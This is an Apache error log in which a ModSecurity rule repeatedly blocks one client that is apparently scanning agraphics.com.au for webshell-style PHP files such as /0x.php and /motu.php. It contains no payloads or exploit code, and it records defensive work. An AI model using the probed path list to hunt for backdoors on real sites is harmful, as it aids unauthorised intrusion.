[Sat Apr 18 23:15:57.882175 2026] [:error] [pid 13023:tid 13037] [client 20.203.141.81:64228] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/baixy.php"] [unique_id "aeOgLf1e7hG8DAeABB9KPQAAAQw"]
[Sat Apr 18 23:16:02.986656 2026] [:error] [pid 9864:tid 9915] [client 20.203.141.81:30991] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/baixy.php"] [unique_id "aeOgMoCFeowknfXHM7k2XwAAAEk"]
[Sat Apr 18 23:16:04.453288 2026] [:error] [pid 32678:tid 32710] [client 20.203.141.81:32214] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/baixy.php"] [unique_id "aeOgNBUlAXU_ZWUu5y8XiAAAAoM"]
[Sat Apr 18 23:16:06.388879 2026] [:error] [pid 32678:tid 32719] [client 20.203.141.81:57003] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8xyz.php"] [unique_id "aeOgNhUlAXU_ZWUu5y8XkAAAAow"]
[Sat Apr 18 23:16:07.147049 2026] [:error] [pid 9865:tid 9937] [client 20.203.141.81:58538] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8xyz.php"] [unique_id "aeOgN6zb5knECIY-C-iqaAAAAIA"]
[Sat Apr 18 23:16:08.503431 2026] [:error] [pid 9970:tid 9988] [client 20.203.141.81:63706] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8xyz.php"] [unique_id "aeOgOCYdRLRhVmaIMx3sOAAAAM4"]
[Sat Apr 18 23:16:11.092721 2026] [:error] [pid 32678:tid 32718] [client 20.203.141.81:30994] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8xyz.php"] [unique_id "aeOgOxUlAXU_ZWUu5y8XmwAAAos"]
[Sat Apr 18 23:16:11.718758 2026] [:error] [pid 9970:tid 9994] [client 20.203.141.81:32217] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/106.php"] [unique_id "aeOgOyYdRLRhVmaIMx3sQgAAANQ"]
[Sat Apr 18 23:16:12.503075 2026] [:error] [pid 9864:tid 9926] [client 20.203.141.81:61785] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/106.php"] [unique_id "aeOgPICFeowknfXHM7k2ZAAAAFQ"]
[Sat Apr 18 23:16:13.999710 2026] [:error] [pid 32677:tid 32695] [client 20.203.141.81:57000] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/106.php"] [unique_id "aeOgPRngmUE3LdC-wP71BQAAAk8"]
[Sat Apr 18 23:16:15.316998 2026] [:error] [pid 32678:tid 32710] [client 20.203.141.81:54785] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/106.php"] [unique_id "aeOgPxUlAXU_ZWUu5y8XpQAAAoM"]
[Sat Apr 18 23:16:16.408102 2026] [:error] [pid 9970:tid 9983] [client 20.203.141.81:54812] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeOgQCYdRLRhVmaIMx3sRwAAAMk"]
[Sat Apr 18 23:16:17.414595 2026] [:error] [pid 9865:tid 9948] [client 20.203.141.81:63723] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeOgQazb5knECIY-C-iqdAAAAIs"]
[Sat Apr 18 23:16:18.037196 2026] [:error] [pid 9970:tid 9976] [client 20.203.141.81:32224] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeOgQiYdRLRhVmaIMx3sTAAAAMI"]
[Sat Apr 18 23:16:18.691004 2026] [:error] [pid 9970:tid 9985] [client 20.203.141.81:7908] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeOgQiYdRLRhVmaIMx3sTgAAAMs"]
[Sat Apr 18 23:16:19.502326 2026] [:error] [pid 9865:tid 9953] [client 20.203.141.81:32802] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cwclass.php"] [unique_id "aeOgQ6zb5knECIY-C-iqegAAAJA"]
[Sat Apr 18 23:16:20.282629 2026] [:error] [pid 9970:tid 9981] [client 20.203.141.81:64214] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cwclass.php"] [unique_id "aeOgRCYdRLRhVmaIMx3sVgAAAMc"]
[Sat Apr 18 23:16:21.063501 2026] [:error] [pid 13023:tid 13049] [client 20.203.141.81:63699] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cwclass.php"] [unique_id "aeOgRf1e7hG8DAeABB9KZgAAARg"]
[Sat Apr 18 23:16:21.739778 2026] [:error] [pid 9865:tid 9949] [client 20.203.141.81:32792] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cwclass.php"] [unique_id "aeOgRazb5knECIY-C-iqfgAAAIw"]
[Sat Apr 18 23:16:22.332787 2026] [:error] [pid 9970:tid 9996] [client 20.203.141.81:58524] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aeOgRiYdRLRhVmaIMx3sWgAAANY"]
[Sat Apr 18 23:16:23.095116 2026] [:error] [pid 34290:tid 34341] [client 20.203.141.81:64203] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aeOgRxqX6WpmmAXOBi8vTwAAAdY"]
[Sat Apr 18 23:16:23.648922 2026] [:error] [pid 13023:tid 13031] [client 20.203.141.81:56986] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aeOgR_1e7hG8DAeABB9KagAAAQY"]
[Sat Apr 18 23:16:24.355786 2026] [:error] [pid 32678:tid 32719] [client 20.203.141.81:57011] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aeOgSBUlAXU_ZWUu5y8XrwAAAow"]
[Sat Apr 18 23:16:25.108998 2026] [:error] [pid 9970:tid 9998] [client 20.203.141.81:32244] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/41.php"] [unique_id "aeOgSSYdRLRhVmaIMx3sYwAAANg"]
[Sat Apr 18 23:16:26.678857 2026] [:error] [pid 9970:tid 9980] [client 20.203.141.81:61776] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/41.php"] [unique_id "aeOgSiYdRLRhVmaIMx3sZwAAAMY"]
[Sat Apr 18 23:16:27.389962 2026] [:error] [pid 9970:tid 9995] [client 20.203.141.81:63713] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/41.php"] [unique_id "aeOgSyYdRLRhVmaIMx3sbQAAANU"]
[Sat Apr 18 23:16:28.005636 2026] [:error] [pid 32678:tid 32714] [client 20.203.141.81:64250] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/41.php"] [unique_id "aeOgTBUlAXU_ZWUu5y8XsgAAAoc"]
[Sat Apr 18 23:16:28.749686 2026] [:error] [pid 32678:tid 32728] [client 20.203.141.81:64219] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "aeOgTBUlAXU_ZWUu5y8XtQAAApU"]
[Sat Apr 18 23:16:29.909529 2026] [:error] [pid 9970:tid 9987] [client 20.203.141.81:64194] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "aeOgTSYdRLRhVmaIMx3sdQAAAM0"]
[Sat Apr 18 23:16:30.701091 2026] [:error] [pid 9970:tid 9995] [client 20.203.141.81:7901] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "aeOgTiYdRLRhVmaIMx3sewAAANU"]
[Sat Apr 18 23:16:31.733721 2026] [:error] [pid 13023:tid 13041] [client 20.203.141.81:58531] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww.php"] [unique_id "aeOgT_1e7hG8DAeABB9KegAAARA"]
[Sat Apr 18 23:16:32.486112 2026] [:error] [pid 9970:tid 9989] [client 20.203.141.81:37899] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aeOgUCYdRLRhVmaIMx3sgwAAAM8"]
[Sat Apr 18 23:16:33.181726 2026] [:error] [pid 13023:tid 13035] [client 20.203.141.81:30989] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aeOgUf1e7hG8DAeABB9KgAAAAQo"]
[Sat Apr 18 23:16:34.198659 2026] [:error] [pid 9970:tid 9976] [client 20.203.141.81:37906] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aeOgUiYdRLRhVmaIMx3sjQAAAMI"]
[Sat Apr 18 23:16:35.507038 2026] [:error] [pid 9864:tid 9914] [client 20.203.141.81:37949] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aeOgU4CFeowknfXHM7k2eQAAAEg"]
[Sat Apr 18 23:16:36.416887 2026] [:error] [pid 9864:tid 9920] [client 20.203.141.81:61786] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aeOgVICFeowknfXHM7k2fQAAAE4"]
[Sat Apr 18 23:16:36.926077 2026] [:error] [pid 9970:tid 9985] [client 20.203.141.81:64202] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aeOgVCYdRLRhVmaIMx3skgAAAMs"]
[Sat Apr 18 23:16:37.673719 2026] [proxy_fcgi:error] [pid 9970:tid 9975] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:16:37.913597 2026] [proxy_fcgi:error] [pid 9970:tid 9981] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:16:38.154569 2026] [proxy_fcgi:error] [pid 9970:tid 9982] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:16:38.395009 2026] [proxy_fcgi:error] [pid 9970:tid 9993] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:16:38.663925 2026] [proxy_fcgi:error] [pid 9970:tid 9978] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:16:38.933010 2026] [proxy_fcgi:error] [pid 9970:tid 9975] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:16:39.214613 2026] [proxy_fcgi:error] [pid 9970:tid 9980] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:16:39.457936 2026] [proxy_fcgi:error] [pid 9970:tid 9993] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:16:39.752122 2026] [proxy_fcgi:error] [pid 9970:tid 9983] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:16:39.991246 2026] [proxy_fcgi:error] [pid 9970:tid 9984] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:16:40.231360 2026] [proxy_fcgi:error] [pid 9970:tid 9986] [client 20.203.141.81:30982] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:16:40.468192 2026] [:error] [pid 9970:tid 9980] [client 20.203.141.81:30982] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iov.php"] [unique_id "aeOgWCYdRLRhVmaIMx3stQAAAMY"]
[Sat Apr 18 23:16:41.086700 2026] [:error] [pid 13023:tid 13044] [client 20.203.141.81:58536] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iov.php"] [unique_id "aeOgWf1e7hG8DAeABB9KiwAAARM"]
[Sat Apr 18 23:16:41.794114 2026] [:error] [pid 32647:tid 32657] [client 20.203.141.81:56983] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iov.php"] [unique_id "aeOgWUkxooM0iRo6e5407wAAAgc"]
[Sat Apr 18 23:16:42.453151 2026] [:error] [pid 34290:tid 34332] [client 20.203.141.81:61811] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iov.php"] [unique_id "aeOgWhqX6WpmmAXOBi8vWAAAAc0"]
[Sat Apr 18 23:16:43.013155 2026] [:error] [pid 34290:tid 34322] [client 20.203.141.81:63704] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jodohghi.php"] [unique_id "aeOgWxqX6WpmmAXOBi8vWwAAAcM"]
[Sat Apr 18 23:16:44.020030 2026] [:error] [pid 9863:tid 9873] [client 20.203.141.81:39896] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jodohghi.php"] [unique_id "aeOgXDjjiypiFrTucbLbtgAAAAA"]
[Sat Apr 18 23:16:44.720703 2026] [:error] [pid 34288:tid 34311] [client 20.203.141.81:7895] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jodohghi.php"] [unique_id "aeOgXOTIiy__PtiLmpngCgAAAZM"]
[Sat Apr 18 23:16:45.738502 2026] [:error] [pid 13023:tid 13028] [client 20.203.141.81:57023] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jodohghi.php"] [unique_id "aeOgXf1e7hG8DAeABB9KmAAAAQM"]
[Sat Apr 18 23:16:46.553053 2026] [:error] [pid 9864:tid 9925] [client 20.203.141.81:63698] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lmlwpbmm.php"] [unique_id "aeOgXoCFeowknfXHM7k2hwAAAFM"]
[Sat Apr 18 23:16:47.281491 2026] [:error] [pid 9970:tid 9987] [client 20.203.141.81:37913] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lmlwpbmm.php"] [unique_id "aeOgXyYdRLRhVmaIMx3svQAAAM0"]
[Sat Apr 18 23:16:48.419679 2026] [:error] [pid 9970:tid 9986] [client 20.203.141.81:56977] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lmlwpbmm.php"] [unique_id "aeOgYCYdRLRhVmaIMx3swAAAAMw"]
[Sat Apr 18 23:16:49.248077 2026] [:error] [pid 32647:tid 32652] [client 20.203.141.81:41181] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lmlwpbmm.php"] [unique_id "aeOgYUkxooM0iRo6e5408QAAAgI"]
[Sat Apr 18 23:16:50.129855 2026] [:error] [pid 9864:tid 9923] [client 20.203.141.81:54844] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/users.php"] [unique_id "aeOgYoCFeowknfXHM7k2jAAAAFE"]
[Sat Apr 18 23:16:50.956367 2026] [:error] [pid 34288:tid 34302] [client 20.203.141.81:7934] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/users.php"] [unique_id "aeOgYuTIiy__PtiLmpngDwAAAYo"]
[Sat Apr 18 23:16:51.680733 2026] [:error] [pid 32647:tid 32670] [client 20.203.141.81:61761] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/users.php"] [unique_id "aeOgY0kxooM0iRo6e5408gAAAhQ"]
[Sat Apr 18 23:16:52.354467 2026] [:error] [pid 34290:tid 34339] [client 20.203.141.81:39875] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/users.php"] [unique_id "aeOgZBqX6WpmmAXOBi8vaAAAAdQ"]
